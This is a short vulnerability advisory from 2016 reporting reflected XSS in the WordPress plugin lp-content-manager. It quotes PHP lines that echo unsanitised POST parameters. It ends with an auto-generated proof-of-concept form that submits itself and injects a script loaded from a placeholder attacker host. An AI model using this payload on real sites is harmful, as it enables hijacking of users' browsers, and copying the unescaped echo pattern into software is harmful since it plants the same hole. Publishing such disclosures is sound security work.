Advisory #: 1395
Title: Reflected XSS in wordpress plugin lp-content-manager v2.0.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/lp-content-manager
Downloads: 766
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: lp-content-manager
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./lp-content-manager/lpcm.php: 335: if(option.options[i].value == "<?php echo $_POST['filter']; ?>"){ 480: <div style="text-align:right;"><small>Template: <?php echo $_POST['Ntemplate']; ?></small></div> 605: <input type="hidden" name="template" value="<?php echo $_POST['Ntemplate']; ?>" /> 938: window.location = "?page=ntemplate&updated=1&edit=<?php echo $_POST['slug'] ?>"; The variable filter appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./lp-content-manager/lpcm.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/lp-content-manager/lpcm.php method=post> <input type=hidden name=filter value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>